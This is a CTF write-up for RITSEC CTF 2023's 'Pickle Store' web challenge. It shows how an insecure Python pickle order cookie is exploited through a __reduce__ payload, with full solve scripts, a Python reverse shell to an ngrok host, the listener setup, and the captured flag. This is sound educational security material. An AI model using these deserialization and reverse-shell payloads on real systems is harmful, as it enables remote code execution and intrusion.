siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Pickle Store

Background

New pickles just dropped! Check out the store.

https://pickles-web.challenges.ctf.ritsec.club/

Enumeration

Home page:

In here, we can pick 4 different pickles.

View source page:

[...]
<div>
    <a href="/order">
    <input type='button' class='button'
      onclick='document.cookie=
      "order=gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4="'
      value='Sweet Pickle: $2'>
    </a>
    <a href="/order">
    <input type='button' class='button'
      onclick='document.cookie="order=gASVDgAAAAAAAACMCnNvdXJwaWNrbGWULg=="'
      value='Sour Pickle: $2'>
    </a>
    <a href="/order">
    <input type='button' class='button'
      onclick='document.cookie=
      "order=gASVEAAAAAAAAACMDHNhdm9yeXBpY2tsZZQu"'
      value='Savory Pickle: $2'>
    </a>
    <a href="/order">
    <input type='button' class='button'
      onclick='document.cookie=
      "order=gASVDwAAAAAAAACMC3NhbHR5cGlja2xllC4="'
      value='Salty Pickle: $2'>
    </a>
</div>
[...]

When those buttons are clicked, it’ll bring us to /order, and set a new cookie called order, with value base64 encoded string. It’s base64 encoded because the last character has =, which is a base64 encoding’s padding character.

Let’s click on the first one:

As excepted, it brings us to /order, and response us the pickle name.

Now, I wonder what’s that base64 string. Let’s decode that!

┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|12:34:45(HKT)]
└> echo 'gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4=' | base64 -d | xxd
00000000: 8004 950f 0000 0000 0000 008c 0b73 7765  .............swe
00000010: 6574 7069 636b 6c65 942e                 etpickle..

As you can see, after decoded, it’s just some raw bytes.

Luckly, this challenge’s title and website contents gave us a big hint: Pickle.

In Python, there’s a library called “Pickle”, which is an object serialization library for Python.

The pickle module implements binary protocols for serializing and de-serializing a Python object structure. “Pickling” is the process whereby a Python object hierarchy is converted into a byte stream, and “unpickling” is the inverse operation, whereby a byte stream (from a binary file or bytes-like object) is converted back into an object hierarchy. Pickling (and unpickling) is alternatively known as “serialization”, “marshalling,” [[1]](https://docs.python.org/3/library/pickle.html#id7) or “flattening”; however, to avoid confusion, the terms used here are “pickling” and “unpickling”. (From pickle documentation)

If you go to Pickle’s documentation, you’ll see this:

Exploitation

Armed with above information, it’s clear that the order cookie is vulnerable to Insecure Deserialization via Python’s Pickle.

According to HackTricks, we can gain Remote Code Execution (RCE) via the __reduce__ magic method:

Now, let’s create our own evil pickle serialized object, and send it!!

#!/usr/bin/env python3
import pickle, os, base64
import requests

class P(object):
    def __reduce__(self):
        return (os.system,("id ",))

def main():
    pickledPayload = base64.b64encode(pickle.dumps(P())).decode()
    print(f'[*] Payload: {pickledPayload}')

    URL = 'https://pickles-web.challenges.ctf.ritsec.club/order'
    cookie = {
        'order': pickledPayload
    }

    print('[*] Request result:')
    orderRequestResult = requests.get(URL, cookies=cookie)
    print(orderRequestResult.text)

if __name__ == '__main__':
    main()
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|12:48:25(HKT)]
└> python3 solve.py
[*] Payload: gASVHgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjANpZCCUhZRSlC4=
[*] Request result:
<!DOCTYPE html>
<head>
  <title>Pickle Store</title>
  <link rel="stylesheet" href="/static/style.css">
</head>
<body>
  <h1>Here's your order!</h1>
  <h2>0</h2>
  <a class='button' href='/'>New Order</a>
</body>

Umm… 0??

It seems like the /order doesn’t reflect (display) our payload’s result…

Hmm… Let’s get a shell then.

After some trial and error, the Python3 reverse shell worked: (From revshells.com)

#!/usr/bin/env python3
import pickle, os, base64
import requests

class RCE(object):
    def __reduce__(self):
        return (os.system,('''python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("0.tcp.ap.ngrok.io",11713));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' ''',))

def main():
    pickledPayload = base64.b64encode(pickle.dumps(RCE())).decode()
    print(f'[*] Payload: {pickledPayload}')

    URL = 'https://pickles-web.challenges.ctf.ritsec.club/order'
    cookie = {
        'order': pickledPayload
    }

    print('[*] Request result:')
    orderRequestResult = requests.get(URL, cookies=cookie)
    print(orderRequestResult.text)

if __name__ == '__main__':
    main()

Setup a nc listener:

┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.02|13:13:43(HKT)]
└> nc -lnvp 4444
listening on [any] 4444 ...

Since we don’t have a VPN connection to the challenge’s instance, we’ll need to do port forwarding. I’ll use ngrok to do that:

┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|13:06:54(HKT)]
└> ngrok tcp 4444
[...]
Forwarding                    tcp://0.tcp.ap.ngrok.io:11713 -> localhost:4444
[...]

Send the payload:

┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|13:18:44(HKT)]
└> python3 solve.py
[*] Payload: gASVtAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjJlweXRob24zIC1jICdpbXBvcnQgb3MscHR5LHNvY2tldDtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKCIwLnRjcC5hcC5uZ3Jvay5pbyIsMTE3MTMpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vYmFzaCIpJyCUhZRSlC4=
[*] Request result:

┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.02|13:13:43(HKT)]
└> nc -lnvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38340
user@NSJAIL:/home/user$

Boom! I’m in!

Let’s get the flag!

user@NSJAIL:/home/user$ ls -lah /
total 64K
drwxr-xr-x 17 nobody nogroup 4.0K Apr  2 02:27 .
drwxr-xr-x 17 nobody nogroup 4.0K Apr  2 02:27 ..
lrwxrwxrwx  1 nobody nogroup    7 Mar  8 02:05 bin -> usr/bin
drwxr-xr-x  2 nobody nogroup 4.0K Apr 15  2020 boot
drwxr-xr-x  5 nobody nogroup  360 Apr  2 04:51 dev
drwxr-xr-x 35 nobody nogroup 4.0K Apr  2 02:26 etc
-rw-r--r--  1 nobody nogroup   28 Mar 30 04:04 flag
drwxr-xr-x  3 nobody nogroup 4.0K Apr  2 02:26 home
lrwxrwxrwx  1 nobody nogroup    7 Mar  8 02:05 lib -> usr/lib
lrwxrwxrwx  1 nobody nogroup    9 Mar  8 02:05 lib32 -> usr/lib32
lrwxrwxrwx  1 nobody nogroup    9 Mar  8 02:05 lib64 -> usr/lib64
lrwxrwxrwx  1 nobody nogroup   10 Mar  8 02:05 libx32 -> usr/libx32
drwxr-xr-x  2 nobody nogroup 4.0K Mar  8 02:06 media
drwxr-xr-x  2 nobody nogroup 4.0K Mar  8 02:06 mnt
drwxr-xr-x  2 nobody nogroup 4.0K Mar  8 02:06 opt
drwxr-xr-x  2 nobody nogroup 4.0K Apr 15  2020 proc
drwx------  3 nobody nogroup 4.0K Apr  2 02:26 root
drwxr-xr-x  5 nobody nogroup 4.0K Mar  8 02:09 run
lrwxrwxrwx  1 nobody nogroup    8 Mar  8 02:05 sbin -> usr/sbin
drwxr-xr-x  2 nobody nogroup 4.0K Mar  8 02:06 srv
drwxr-xr-x  2 nobody nogroup 4.0K Apr 15  2020 sys
drwxrwxrwt  2 user   user      80 Apr  2 05:18 tmp
drwxr-xr-x 13 nobody nogroup 4.0K Mar  8 02:06 usr
drwxr-xr-x 11 nobody nogroup 4.0K Mar  8 02:09 var
user@NSJAIL:/home/user$ cat /flag
RS{TH3_L345T_53CUR3_P1CKL3}

Conclusion

What we’ve learned:

  1. Insecure Deserialization In Python’s Pickle Library